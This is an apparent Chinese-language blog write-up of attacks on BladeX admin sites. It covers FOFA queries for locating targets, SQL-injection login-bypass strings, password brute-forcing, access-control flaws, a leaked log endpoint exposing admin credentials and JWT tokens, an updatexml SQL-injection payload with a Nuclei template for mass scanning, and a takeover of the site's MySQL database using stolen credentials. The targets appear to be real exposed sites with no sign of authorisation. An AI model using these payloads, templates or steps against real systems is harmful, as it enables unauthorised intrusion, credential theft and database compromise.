Blade站点的渗透测试到MySQL数据库权限接管
0x1 bladeX简介最主要的还是带师傅们了解下blade的登录界面了要让师傅们一眼就认识这个系统框架有助于我们在做渗透测试的时候快、准、狠拿下这些站点服务img0x2 信息收集这次我的目标比较明确就是主要打的就是blade的站点所以我这里直接就可以使用空间引擎比如国内常用的FOFA、鹰图、360Quake进行一个资产收集。1、通过icon图标检索对于新手师傅们可能开始对于blade不知道是什么框架系统那么可以跟我下面一样使用最简单的方法直接在浏览器上检索bladex的icon图标然后就可以看到下面的一把小铁剑了这个就是经典的spring二次开发的blade的icon图标了。img下面拿我们FOFA举例利用这个icon图标进行一个检索icon_hash1047841028img但是这次我主要是针对于这个blade的后台登录管理系统来的所以这里再点击选择上面的后台管理系统缩小我们的资产范围icon_hash1047841028 product后台管理系统img2、通过blade关键字下面是我总结的几个常用的空间检索引擎的语法针对这几个相关漏洞的一个语法总结bodyhttps://bladex.vip product后台管理系统 bodyhttps://bladex.vip body后台管理系统FOFAimg鹰图img360Quakeimg0x3 渗透测试一、口令爆破通过上面的信息收集和资产的汇总然后剩下的就是就这些站点进行一个测试了我找的都是一些后台管理登录的因为我想尝试使用弱口令登录或者如果没有验证码使用口令爆破的方式登录进去然后再进行一波系统内部的测试img这里使用wappalyzer插件看看这个登录站点的一个使用框架和开发语言的一个情况可以看到Vue框架的还有webpack打包可能存在js.map文件泄露漏洞img我这里先是测试了很多弱口令admin:123456/admin等等但是都没有进去然后我使用万能密码测试看看能不能登录进行但是这个站点没有成功。但是这个也是一个思路可以在别的站点测试下这个也给师傅们分享下汇总的一些sql注入万能密码adminor 11-- adminor 11-- adminor 11-- adminor adminOR11%00 adminand11# adminand11 adminand11#就是这里的验证码有一个bug就是不会刷新账户密码输入错误也不会刷新那么我这里就想着直接尝试爆破账户密码使用常见的top1000user和passwd进行爆破img最后爆破的test1账户成功了img直接使用爆破成功的账户密码登录后台成功img二、垂直越权最开始进入后台我就直接访问了个人信息这里因为我一般喜欢进入后台然后看看会不会有文件上传头像的这个功能点我喜欢打文件上传然后getshell的操作img这里确实存在文件上传的功能点但是这里一直显示服务器异常然后一直上传不上去所以后面就没有打文件上传这个功能点了然后我就想尝试下像一般blade的接口泄露包括开始看见了Vue框架所以我一般都有利用bp的抓历史包的功能然后点击左边的功能点然后再进行挨个看历史数据包imgimg像这样的带user参数的特别是后面还跟page、size、number等参数的时候需要特别关注像这样的接口很容易有 未授权导致的敏感信息泄露img师傅们可以看到我这里直接把其余的参数给删掉了通过拼接参数list以一个测试账户低权限的用户直接访问到了管理员账户的敏感信息img三、泄露管理员账户密码我这里通过大牛师傅发的微信公众号的blade的1day漏洞然后找到的这个接口然后泄露了改系统的日志信息可以看到下面泄露了token也就是blade的JWT硬编码漏洞了感兴趣的师傅在跟着我挖这个漏洞的时候可以去尝试下/api/blade-log/api/listimg师傅们可以看到在这个log日志泄露里面找到了admin超级管理员的账户密码这让人很是开心啊img四、SQL注入漏洞这里也是一样的直接多去翻翻web界面的功能点然后尽可能多的去分析这个接口然后去尝试接口拼接和修改有些接口的1day可能多被魔改了我这个站点就是一个经典的案例公众号的1day的poc是下面的这个/api/blade-log/error/list?updatexml(1,concat(0x7e,version(),0x7e),1)1但是师傅们可以看到我这里访问直接显示401未授权那么像师傅们一般遇到这样的可能就放弃了那么师傅们有没有想过这个接口魔改呢可能是开发人员进行的一个魔改img我这里就是花了很长的一个时间进行挨个page?参数的后面进行拼接然后得到的一个能够成功打sql注入漏洞打一个接口很多公众号或者网上都没有公布我这个算是一个新思路了/api/blade-system/role/list?updatexml(1,concat(0x7e,version(),0x7e),1)1img针对这个最新的blade魔改的sql注入漏洞的接口路径很多文章和公众号都进行了打码所以我这里给师傅们分析下。下面也是给新手师傅一个福利了给师傅们利用Nuclei写了一个批量检测sql注入漏洞的脚本id: template-id info: name: Template Name author: xxxx severity: info description: description reference: - https:// tags: tags http: - raw: - | GET /api/blade-system/role/list?updatexml(1,concat(0x7e,version(),0x7e),1)1 HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Te: trailers Connection: close matchers: - type: word part: body words: - XPATH syntax error:五、通过Navicat拿下MySQL数据库上面不是通过未授权然后拿下了admin超级管理员的账户密码嘛那么这不进去利用一波那多可惜啊废话不多说直接上强度。这里直接使用刚才拿到的账户密码进行一个登录img然后也是跟上面一样多点点功能页面看看超级管理员比普通用户的能够看到的信息多了哪些部分然后在数据库管理里面看到了mysql、oracle、sqlserver等数据库服务img然后点击查看直接看到了连接MySQL数据库的IP以及账户密码img有了IP和MySQL数据库的账户密码了那么我们就可以使用Navicat工具进行连接看看能不能连接成功然后拿下改数据库img可以看到直接测试连接成功了img改站点的所以数据库用户的账户密码以后别的信息全部都接管成功了